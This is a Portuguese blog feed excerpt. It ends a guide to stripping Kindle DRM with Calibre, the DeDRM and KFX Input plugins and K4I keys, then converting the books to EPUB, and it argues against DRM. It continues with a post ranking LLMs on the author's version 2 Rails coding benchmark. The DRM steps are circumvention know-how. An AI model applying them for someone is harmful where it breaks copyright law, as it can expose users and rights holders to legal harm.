    <a href="#importando-e-convertendo-pra-epub" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de despejar cem arquivos na biblioteca, teste um.</p>
<p>Escolha um <code>.kfx-zip</code> dentro de:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">~/Windows/Kindle-DeDRM/v10.0.28/archived_kfx/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Use <strong>Add books</strong> no Calibre. A ordem interna é esta:</p>
<ol>
<li>KFX Input reconhece o pacote;</li>
<li>DeDRM tenta as chaves K4I durante a importação;</li>
<li>KFX Input monta o livro descriptografado como KFX;</li>
<li>Calibre passa a conseguir abrir e converter o resultado.</li>
</ol>
<p>Se o formato continuar aparecendo como <code>KFX-ZIP</code>, deu errado. Não adianta apertar Convert dez vezes. Remova aquela entrada da biblioteca, corrija plugin ou chave e importe de novo. DeDRM só atua na <strong>entrada</strong>.</p>
<p>Quando o livro aparecer como <code>KFX</code>, abra no viewer e confira algumas páginas. Depois clique em <strong>Convert books</strong>, escolha <strong>EPUB</strong> como saída e teste o arquivo resultante no leitor onde pretende usar. Só depois disso faça a importação em lote.</p>
<p>No meu caso, o KFX abriu, converteu e o EPUB funcionou fora do Kindle. Com isso eu sabia que o caminho inteiro estava funcionando: Microsoft Store, TPM, archiver, K4I, DeDRM 10.0.28 e KFX Input 2.33.0.</p>
<!-- Screenshot pendente: livro importado como KFX no Calibre. -->
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/30/kindle-dedrm/calibre-convert-epub.webp" alt="Diálogo de conversão do Calibre com EPUB selecionado como formato de saída."  loading="lazy" /></p>
<!-- Screenshot pendente: EPUB final aberto no Xteink X4. -->
<h2>Faça backup do que realmente importa<span class="hx:absolute hx:-mt-20" id="faça-backup-do-que-realmente-importa"></span>
    <a href="#fa%c3%a7a-backup-do-que-realmente-importa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois da conversão, eu preservo três coisas:</p>
<ul>
<li>os EPUBs finais, que leio em qualquer aparelho;</li>
<li>os KFX-ZIP originais, até conferir que todos os EPUBs estão íntegros;</li>
<li>o <code>oldbooks.k4i</code>, criptografado e separado da biblioteca.</li>
</ul>
<p>Meu keyfile em texto puro fica com permissão <code>0600</code>. Também mantenho uma cópia criptografada com SOPS e age, enquanto a chave privada fica em outro backup. Não coloque <code>oldbooks.k4i</code> cru no Git só porque o repositório é privado. Repositório privado vaza também.</p>
<p>Os EPUBs entram na mesma estratégia que uso pros outros arquivos importantes: cópia local, NAS e backup off-site. Já expliquei essa paranoia em <a href="/2023/10/19/akitando-146-protegendo-e-recuperando-dados-perdidos-git-backup-btrfs/">Protegendo e Recuperando Dados Perdidos</a> e mostrei a mesma filosofia aplicada a filmes no meu <a href="/2024/04/03/meu-netflix-pessoal-com-docker-compose/">Netflix Pessoal</a>.</p>
<p>Não apague os arquivos do Kindle ou da VM no minuto em que a conversão termina. Abra os EPUBs, veja capa, índice, imagens, notas e algumas páginas. Backup que nunca foi testado é só torcida organizada.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Amazon já apagou livros remotamente, editoras atualizam capas e conteúdo, aplicativos antigos param de funcionar e formatos mudam. O próprio fim do download via USB mostrou que uma função disponível por dezoito anos pode desaparecer com uma linha num aviso.</p>
<p>O exemplo clássico continua inacreditável: em 2009 a Amazon apagou <code>1984</code> e <code>Animal Farm</code>, de George Orwell, dos Kindles de clientes. Depois vieram revisões de Roald Dahl, R.L. Stine e Agatha Christie empurradas pra cópias digitais que já tinham sido compradas. O <a href="https://www.vice.com/en/article/amazon-is-killing-your-ability-to-download-kindle-books-next-week/"target="_blank" rel="noopener">artigo da Vice</a> resume esses casos. O Dammit Jeff também bate muito nessa tecla: até a capa original que você escolheu pode virar pôster feio da adaptação do streaming porque publisher e loja decidiram atualizar sua &ldquo;compra&rdquo;.</p>
<p>Não importa se a alteração futura é censura, correção legítima, nova capa horrorosa de adaptação da Netflix ou apenas um bug. Eu comprei uma edição. Quero preservar a edição que comprei.</p>
<p>DRM não impede pirataria. Livro popular aparece em torrent no dia do lançamento. DRM só atrapalha o cliente que pagou, dificulta acessibilidade, prende hardware ainda bom e transforma uma compra em aluguel por prazo indefinido.</p>
<p>Calibre, DeDRM, KFX Input e uma VM descartável devolveram minha biblioteca. Agora posso colocar os EPUBs no Xteink, num Kobo, num tablet, no celular ou num leitor que ainda nem existe. Posso trocar de sistema operacional e posso desligar a internet. Os arquivos continuam comigo.</p>
<p>Se não está na sua máquina, não é seu.</p>
]]></content:encoded><category>armazenamento-e-backup</category><category>linux</category><category>open-source</category></item><item><title>Novo LLM Benchmark: refiz todos os testes!</title><link>https://www.akitaonrails.com/2026/07/30/novo-llm-benchmark-refiz-todos-os-testes/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/30/novo-llm-benchmark-refiz-todos-os-testes/</guid><pubDate>Thu, 30 Jul 2026 15:00:00 GMT</pubDate><description>&lt;p&gt;Há cinco dias publiquei o teste do &lt;a href="https://www.akitaonrails.com/2026/07/25/llm-benchmark-opus-5-e-bom/"&gt;Claude Opus 5&lt;/a&gt;. Onze dias atrás expliquei &lt;a href="https://www.akitaonrails.com/2026/07/19/llm-benchmark-devo-usar-o-que-tem-nota-maior/"&gt;por que a maior nota de um ranking não significa &amp;ldquo;o melhor LLM&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ótimo. A tabela do primeiro artigo já virou peça de museu.&lt;/p&gt;
&lt;p&gt;O argumento do segundo continua valendo. Na verdade, ficou ainda mais fácil de demonstrar, porque passei os últimos dias refazendo praticamente o benchmark inteiro. Foram dezenas de runs, várias tentativas descartadas, centenas de dólares entre API e créditos equivalentes, e uma quantidade indecente de tempo lendo código Rails gerado por robô.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Há cinco dias publiquei o teste do <a href="/2026/07/25/llm-benchmark-opus-5-e-bom/">Claude Opus 5</a>. Onze dias atrás expliquei <a href="/2026/07/19/llm-benchmark-devo-usar-o-que-tem-nota-maior/">por que a maior nota de um ranking não significa &ldquo;o melhor LLM&rdquo;</a>.</p>
<p>Ótimo. A tabela do primeiro artigo já virou peça de museu.</p>
<p>O argumento do segundo continua valendo. Na verdade, ficou ainda mais fácil de demonstrar, porque passei os últimos dias refazendo praticamente o benchmark inteiro. Foram dezenas de runs, várias tentativas descartadas, centenas de dólares entre API e créditos equivalentes, e uma quantidade indecente de tempo lendo código Rails gerado por robô.</p>
<p>O resultado é a <strong>versão 2</strong> do meu <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">LLM Coding Benchmark</a>. A prova ficou mais difícil, a auditoria ficou mais explícita e cada família passou a rodar, sempre que possível, no harness onde deveria funcionar melhor.</p>
<p>E já vou adiantar: <strong>os scores do v2 não são comparáveis diretamente aos do v1</strong>. Mudaram o prompt, os requisitos, o harness de vários modelos, a validação e a rubrica. A coluna <code>v1</code> no relatório serve como histórico, não como medição científica de quanto cada modelo &ldquo;evoluiu&rdquo;.</p>
<h2>Por que aposentei o v1<span class="hx:absolute hx:-mt-20" id="por-que-aposentei-o-v1"></span>
    <a href="#por-que-aposentei-o-v1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Rodamos o v1 por meses. Ele serviu muito bem pra separar quem realmente conseguia construir um app Rails de quem inventava APIs do RubyLLM, escrevia testes pra própria alucinação e entregava Dockerfile que nunca subia.</p>
<p>Só que os modelos novos chegaram ao teto daquela prova. Quinze dos quarenta resultados já estavam comprimidos no Tier A, com o topo entre 92 e 97. O trabalho ainda tinha detalhes reais, mas os melhores modelos passavam pelos antigos discriminadores com facilidade. A ordem começava a depender de um preflight de API key aqui, um limite de cookie ali, um teste de erro que faltou. Detalhes válidos, pouca separação.</p>
<p>Também havia uma inconsistência operacional: a combinação entre modelo e harness. Claude tinha sido testado no OpenCode, Grok também, Kimi também, Gemini também. Só que hoje temos Claude Code, Codex, Kimi Code CLI, grok CLI e Antigravity. Medir um modelo num harness genérico quando existe uma integração feita pro comportamento dele pode distorcer o resultado.</p>
<p>O que o benchmark mede nunca foi apenas o arquivo de pesos:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">resultado = modelo + harness + prompt + tools + contexto + execução + auditoria</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Então resolvi parar de esconder o harness dentro da nota. Claude foi pro Claude Code. GPT foi pro Codex. Kimi K3 e K2.7-Coding foram pro Kimi CLI. Grok e Gemini ganharam rodadas A/B nos CLIs dos próprios vendors. OpenCode, completamente isolado, continuou como fallback pros modelos sem harness melhor ou sem acesso por assinatura.</p>
<h2>A prova nova<span class="hx:absolute hx:-mt-20" id="a-prova-nova"></span>
    <a href="#a-prova-nova" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O v1 tinha duas fases: construir e tentar subir. O v2 tem <strong>três fases</strong>, quatorze objetivos numerados e uma rubrica de dez dimensões.</p>
<p>Na primeira fase, o modelo ainda precisa construir sozinho um chat estilo ChatGPT em Rails com RubyLLM, Hotwire, Tailwind, Minitest, Docker e Compose. A semelhança termina aí. Agora ele também precisa entregar:</p>
<ul>
<li>streaming real por token via Turbo Streams, comprovadamente incremental;</li>
<li>payload multi-turn sem mandar a mensagem atual duas vezes, com um teste da array exata enviada ao provider;</li>
<li>persistência que sobreviva a restart e funcione com <code>WEB_CONCURRENCY=2</code>, com TTL e limites de quantidade e bytes;</li>
<li>exatamente duas tools, <code>server_time</code> e uma calculadora segura, usando a API real do RubyLLM;</li>
<li>título gerado pela API de structured output;</li>
<li>orçamento de tokens por conversa;</li>
<li>system prompt, preflight de credencial, estados degradados e tratamento dos erros do provider;</li>
<li>garantia de que turnos que falharam nunca contaminem o histórico futuro;</li>
<li>RuboCop, Brakeman e bundle-audit limpos, além de Docker de produção non-root e ausência de secrets.</li>
</ul>
<p>A segunda fase não aceita um README dizendo que funciona. Ela sobe o Rails, observa os tokens chegando, força chamadas reais às tools, mantém uma conversa com dois workers, reinicia o servidor, confere o histórico, roda os testes e gates, faz <code>docker build</code> e manda uma mensagem real pro app dentro do Compose.</p>
<p>A terceira fase pede que o próprio modelo revise cada objetivo como <code>PASS</code>, <code>PARTIAL</code> ou <code>FAIL</code>, cite arquivo, linha, teste ou comando e escreva o que ainda está quebrado. Essa honestidade vale 15 pontos. Um <code>FAIL</code> correto vale mais que um <code>PASS</code> otimista que a auditoria desmente.</p>
<p>Essa fase trouxe um dado que o v1 não tinha. Kimi K3 e Nex, por exemplo, admitiram defeitos que seria fácil esconder. Outros construíram um app razoável e depois alucinaram a própria inspeção. Saber programar e saber revisar o que programou são capacidades diferentes.</p>
<h2>O harness também entrou no teste<span class="hx:absolute hx:-mt-20" id="o-harness-também-entrou-no-teste"></span>
    <a href="#o-harness-tamb%c3%a9m-entrou-no-teste" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Também fiz A/Bs com as ferramentas nativas:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">OpenCode limpo</th>
          <th style="text-align: right">Harness nativo</th>
          <th>Leitura</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Grok 4.5</td>
          <td style="text-align: right">92</td>
          <td style="text-align: right">91 no grok CLI</td>
          <td>diferença dentro do ruído</td>
      </tr>
      <tr>
          <td>Grok 4.3</td>
          <td style="text-align: right">18</td>
          <td style="text-align: right">55 no grok CLI</td>
          <td>o scaffolding nativo resgata, mas continua fraco</td>
      </tr>
      <tr>
          <td>Gemini 3.1 Pro</td>
          <td style="text-align: right">62</td>
          <td style="text-align: right">88 no Antigravity</td>
          <td>o caminho direto evita um bug do provider</td>
      </tr>
      <tr>
          <td>Gemini 3.6 Flash</td>
          <td style="text-align: right">não rodado</td>
          <td style="text-align: right">92 no Antigravity</td>
          <td>bom resultado, sem baseline comparável</td>
      </tr>
  </tbody>
</table>
<p>O harness nativo não joga pó mágico no modelo. Grok 4.5 praticamente não ligou. Grok 4.3 precisava da estrutura. Gemini 3.1 precisava de um transporte que não quebrasse com <code>Corrupted thought signature</code>. Três mecanismos diferentes, que uma comparação apressada chamaria simplesmente de &ldquo;o CLI melhorou a nota&rdquo;.</p>
<p>No ranking abaixo, uso o harness preferencial quando existe uma rodada completa: Antigravity pros Geminis e grok CLI pros Groks. Os baselines de OpenCode continuam no repositório como A/B, mas não aparecem uma segunda vez na tabela.</p>
<h2>O novo ranking<span class="hx:absolute hx:-mt-20" id="o-novo-ranking"></span>
    <a href="#o-novo-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esta é a tabela consolidada do v2, com uma entrada por modelo no harness preferencial disponível.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">#</th>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: center">Tier</th>
          <th>Harness</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>Claude Fable 5</td>
          <td style="text-align: right"><strong>96</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">46 min</td>
          <td style="text-align: right">$26,03</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right"><strong>95</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">59 min</td>
          <td style="text-align: right">$25,83</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Claude Opus 5</td>
          <td style="text-align: right"><strong>95</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">78 min</td>
          <td style="text-align: right">$38,91</td>
      </tr>
      <tr>
          <td style="text-align: right">2</td>
          <td>Kimi K3</td>
          <td style="text-align: right"><strong>95</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Kimi CLI</td>
          <td style="text-align: right">65 min</td>
          <td style="text-align: right">$6,14</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>GPT 5.6 Sol</td>
          <td style="text-align: right"><strong>93</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Codex</td>
          <td style="text-align: right">57 min</td>
          <td style="text-align: right">~$45</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Claude Opus 4.8</td>
          <td style="text-align: right"><strong>93</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">53 min</td>
          <td style="text-align: right">$21,82</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>GPT 5.6 Terra</td>
          <td style="text-align: right"><strong>93</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Codex</td>
          <td style="text-align: right">48 min</td>
          <td style="text-align: right">$16,92</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>GLM 5.2</td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">155 min</td>
          <td style="text-align: right">$0 (≈$12,05)</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Kimi K2.5</td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">43 min</td>
          <td style="text-align: right">$1,50</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Gemini 3.6 Flash @ high</td>
          <td style="text-align: right"><strong>92</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Antigravity</td>
          <td style="text-align: right">15 min</td>
          <td style="text-align: right">—</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>MiniMax M3</td>
          <td style="text-align: right"><strong>91</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">113 min</td>
          <td style="text-align: right">$7,72</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>Kimi K2.6</td>
          <td style="text-align: right"><strong>91</strong></td>
          <td style="text-align: center">A.1</td>
          <td>OpenCode</td>
          <td style="text-align: right">34 min</td>
          <td style="text-align: right">$2,64</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>Claude Opus 4.7</td>
          <td style="text-align: right"><strong>91</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Claude Code</td>
          <td style="text-align: right">44 min</td>
          <td style="text-align: right">$44,28</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>GPT 5.6 Luna</td>
          <td style="text-align: right"><strong>91</strong></td>
          <td style="text-align: center">A.1</td>
          <td>Codex</td>
          <td style="text-align: right">46 min</td>
          <td style="text-align: right">$16,79</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>Grok 4.5</td>
          <td style="text-align: right"><strong>91</strong></td>
          <td style="text-align: center">A.1</td>
          <td>grok CLI</td>
          <td style="text-align: right">25 min</td>
          <td style="text-align: right">$0 (≈$1,62)</td>
      </tr>
      <tr>
          <td style="text-align: right">16</td>
          <td>Nex-N2-Pro</td>
          <td style="text-align: right"><strong>88</strong></td>
          <td style="text-align: center">A.2</td>
          <td>OpenCode</td>
          <td style="text-align: right">8 min</td>
          <td style="text-align: right">$0,17</td>
      </tr>
      <tr>
          <td style="text-align: right">16</td>
          <td>GPT 5.5</td>
          <td style="text-align: right"><strong>88</strong></td>
          <td style="text-align: center">A.2</td>
          <td>Codex</td>
          <td style="text-align: right">57 min</td>
          <td style="text-align: right">~$53</td>
      </tr>
      <tr>
          <td style="text-align: right">16</td>
          <td>Gemini 3.1 Pro @ high</td>
          <td style="text-align: right"><strong>88</strong></td>
          <td style="text-align: center">A.2</td>
          <td>Antigravity</td>
          <td style="text-align: right">23 min</td>
          <td style="text-align: right">—</td>
      </tr>
      <tr>
          <td style="text-align: right">19</td>
          <td>Claude Sonnet 4.6</td>
          <td style="text-align: right"><strong>87</strong></td>
          <td style="text-align: center">A.2</td>
          <td>Claude Code</td>
          <td style="text-align: right">45 min</td>
          <td style="text-align: right">$9,90</td>
      </tr>
      <tr>
          <td style="text-align: right">20</td>
          <td>GPT 5.4</td>
          <td style="text-align: right"><strong>86</strong></td>
          <td style="text-align: center">A.2</td>
          <td>Codex</td>
          <td style="text-align: right">67 min</td>
          <td style="text-align: right">~$26</td>
      </tr>
      <tr>
          <td style="text-align: right">20</td>
          <td>Kimi K2.7-Coding</td>
          <td style="text-align: right"><strong>86</strong></td>
          <td style="text-align: center">A.2</td>
          <td>Kimi CLI</td>
          <td style="text-align: right">54 min</td>
          <td style="text-align: right">$4,37</td>
      </tr>
      <tr>
          <td style="text-align: right">22</td>
          <td>Step 3.7 Flash</td>
          <td style="text-align: right"><strong>84</strong></td>
          <td style="text-align: center">A.2</td>
          <td>OpenCode</td>
          <td style="text-align: right">81 min</td>
          <td style="text-align: right">$1,41</td>
      </tr>
      <tr>
          <td style="text-align: right">23</td>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right"><strong>83</strong></td>
          <td style="text-align: center">A.2</td>
          <td>Claude Code</td>
          <td style="text-align: right">39 min</td>
          <td style="text-align: right">$12,83</td>
      </tr>
      <tr>
          <td style="text-align: right">23</td>
          <td>GLM 5</td>
          <td style="text-align: right"><strong>83</strong></td>
          <td style="text-align: center">A.2</td>
          <td>OpenCode</td>
          <td style="text-align: right">31 min</td>
          <td style="text-align: right">$1,97</td>
      </tr>
      <tr>
          <td style="text-align: right">25</td>
          <td>DeepSeek V4 Pro</td>
          <td style="text-align: right"><strong>82</strong></td>
          <td style="text-align: center">B</td>
          <td>OpenCode</td>
          <td style="text-align: right">57 min</td>
          <td style="text-align: right">$0,35</td>
      </tr>
      <tr>
          <td style="text-align: right">26</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right"><strong>80</strong></td>
          <td style="text-align: center">B</td>
          <td>OpenCode</td>
          <td style="text-align: right">36 min</td>
          <td style="text-align: right">$0,81</td>
      </tr>
      <tr>
          <td style="text-align: right">27</td>
          <td>Qwen 3.6 Plus</td>
          <td style="text-align: right"><strong>76</strong></td>
          <td style="text-align: center">B</td>
          <td>OpenCode</td>
          <td style="text-align: right">75 min</td>
          <td style="text-align: right">$7,63</td>
      </tr>
      <tr>
          <td style="text-align: right">28</td>
          <td>MiMo V2.5 Pro</td>
          <td style="text-align: right"><strong>73</strong></td>
          <td style="text-align: center">B</td>
          <td>OpenCode</td>
          <td style="text-align: right">23 min</td>
          <td style="text-align: right">$0,22</td>
      </tr>
      <tr>
          <td style="text-align: right">29</td>
          <td>Grok 4.3</td>
          <td style="text-align: right"><strong>55</strong></td>
          <td style="text-align: center">C</td>
          <td>grok CLI</td>
          <td style="text-align: right">6 min</td>
          <td style="text-align: right">$0 (≈$0,18)</td>
      </tr>
      <tr>
          <td style="text-align: right">30</td>
          <td>Qwen3.7 Max</td>
          <td style="text-align: right"><strong>51</strong></td>
          <td style="text-align: center">C</td>
          <td>OpenCode</td>
          <td style="text-align: right">41 min</td>
          <td style="text-align: right">$2,59</td>
      </tr>
      <tr>
          <td style="text-align: right">31</td>
          <td>Step 3.5 Flash</td>
          <td style="text-align: right"><strong>27</strong></td>
          <td style="text-align: center">D</td>
          <td>OpenCode</td>
          <td style="text-align: right">47 min</td>
          <td style="text-align: right">$0,92</td>
      </tr>
  </tbody>
</table>
<p><em>Tempo é o wall clock de ponta a ponta das três fases. Custo é equivalente em API: nos modelos no Codex uso o valor blended com desconto de cache (mesmo critério da seção de custos abaixo); em planos de assinatura (Z.ai, grok CLI) o custo marginal é $0 e o número entre parênteses é o equivalente em API; as rodadas no Antigravity eram preview e não foram medidas.</em></p>
<p>Os detalhes, artefatos e deduções estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/success_report.v2.md"target="_blank" rel="noopener">relatório completo do v2</a>.</p>
<h2>O que os tiers querem dizer agora<span class="hx:absolute hx:-mt-20" id="o-que-os-tiers-querem-dizer-agora"></span>
    <a href="#o-que-os-tiers-querem-dizer-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O novo corte foi ancorado no Claude Opus 4.6, que fez 83 e mostrou o mínimo necessário pra carregar a prova inteira. A interpretação prática ficou assim:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">Tier</th>
          <th style="text-align: right">Score</th>
          <th>Como eu leio</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center"><strong>A.1</strong></td>
          <td style="text-align: right"><strong>90 ou mais</strong></td>
          <td>Fronteira desta prova. Entrega mais completa e consistente; diferenças de um ou dois pontos dentro do grupo continuam sendo ruído.</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>A.2</strong></td>
          <td style="text-align: right"><strong>83 a 89</strong></td>
          <td>Serve pra programação e passou pelo mesmo piso de competência, mas deixou correções ou limitações mais visíveis. Ainda recomendo, com revisão mais atenta.</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>B</strong></td>
          <td style="text-align: right"><strong>73 a 82</strong></td>
          <td>Está perto, mas ainda exige limpeza humana em ponto importante. Não recomendo pra trabalho autônomo; mantenho no radar.</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>C</strong></td>
          <td style="text-align: right"><strong>51 a 72</strong></td>
          <td>Não recomendo pra programação. Ainda pode servir pra tradução, resumo, classificação e agentes simples.</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>D</strong></td>
          <td style="text-align: right"><strong>50 ou menos</strong></td>
          <td>Comportamento inconsistente, quebrado ou difícil de prever. Não me sinto seguro recomendando nem pra automação simples.</td>
      </tr>
  </tbody>
</table>
<p>Temos <strong>15 modelos no A.1</strong> e <strong>9 no A.2</strong>. Os 24 passaram do piso de competência pra esse tipo de trabalho. A subdivisão ajuda a escolher por onde começar: A.1 concentra os resultados de fronteira; A.2 reúne modelos competentes que exigiram mais consertos, deixaram testes mais rasos ou carregaram limitações operacionais mais claras.</p>
<p>Isso não transforma 96 em uma inteligência universalmente maior que 91, nem torna um A.2 ruim. Um modelo A.2 pode ser melhor em refactor, debugging, frontend ou dentro do seu monolito de quinze anos. A prova não mede tudo isso. O corte só evita colocar 24 opções num balde grande demais.</p>
<p>A.1 e A.2 formam o grupo de candidatos. Tier C e D são grupos que eu corto antes de começar.</p>
<h2>Afinal, qual é o melhor: Fable, Opus, Terra ou Kimi?<span class="hx:absolute hx:-mt-20" id="afinal-qual-é-o-melhor-fable-opus-terra-ou-kimi"></span>
    <a href="#afinal-qual-%c3%a9-o-melhor-fable-opus-terra-ou-kimi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você só quer uma resposta de uma linha, vai se decepcionar de novo.</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Equivalente em API</th>
          <th>Uso prático</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Claude Fable 5</td>
          <td style="text-align: right">96</td>
          <td style="text-align: right">46 min</td>
          <td style="text-align: right">$26,03</td>
          <td>assinatura Claude Max</td>
      </tr>
      <tr>
          <td>Claude Opus 5</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">78 min</td>
          <td style="text-align: right">$38,91</td>
          <td>assinatura Claude Max</td>
      </tr>
      <tr>
          <td>Kimi K3</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">65 min</td>
          <td style="text-align: right">$6,14</td>
          <td>assinatura Moderato</td>
      </tr>
      <tr>
          <td>GPT 5.6 Terra</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">49 min</td>
          <td style="text-align: right">$16,92 blended</td>
          <td>créditos do ChatGPT</td>
      </tr>
  </tbody>
</table>
<p>No artefato final, <strong>Fable ganhou</strong>. Também foi o mais rápido entre esses quatro. Se eu estivesse pagando cada chamada de API dessa rodada, o <strong>Kimi K3 ganhou de lavada no custo</strong>, empatado com Opus em 95 e só um ponto abaixo de Fable.</p>
<p>Opus 5 fez um projeto excelente, mas foi o mais lento e gastou 56,8 milhões de tokens somados pelo Claude Code. Nesta prova ele não comprou nada visível com os 33 minutos extras sobre Fable. Terra também entregou bem, ficou dois pontos abaixo de K3 e custou menos que Fable e Opus no equivalente de API.</p>
<p>Quem já paga Claude Max ou ChatGPT Pro tem custo marginal próximo de zero enquanto estiver dentro dos limites. Kimi Moderato também é assinatura, com janelas de quota próprias. Portanto, &ldquo;$26 contra $6&rdquo; não decide sozinho. A primeira pergunta é qual assinatura você já paga e quanto limite ainda tem. Pra pay-as-you-go e automação, aí sim o custo por execução volta pro centro.</p>
<p>Minha leitura desse run:</p>
<ul>
<li><strong>Fable 5</strong> entregou o melhor pacote de qualidade e tempo;</li>
<li><strong>Kimi K3</strong> foi o melhor custo-benefício entre os líderes;</li>
<li><strong>Opus 5</strong> foi competente e meticuloso, mas caro e lento nesta execução;</li>
<li><strong>GPT 5.6 Terra</strong> entregou o melhor equilíbrio da família pra quem vive no Codex.</li>
</ul>
<p>É uma leitura deste projeto. Troque o workload e a ordem pode virar.</p>
<h2>Opus contra Sonnet, Sol contra Terra<span class="hx:absolute hx:-mt-20" id="opus-contra-sonnet-sol-contra-terra"></span>
    <a href="#opus-contra-sonnet-sol-contra-terra" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nome de tier não é benchmark. O Sonnet 5 provou isso de um jeito quase constrangedor:</p>
<table>
  <thead>
      <tr>
          <th>Claude</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo registrado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Fable 5</td>
          <td style="text-align: right">96</td>
          <td style="text-align: right">46 min</td>
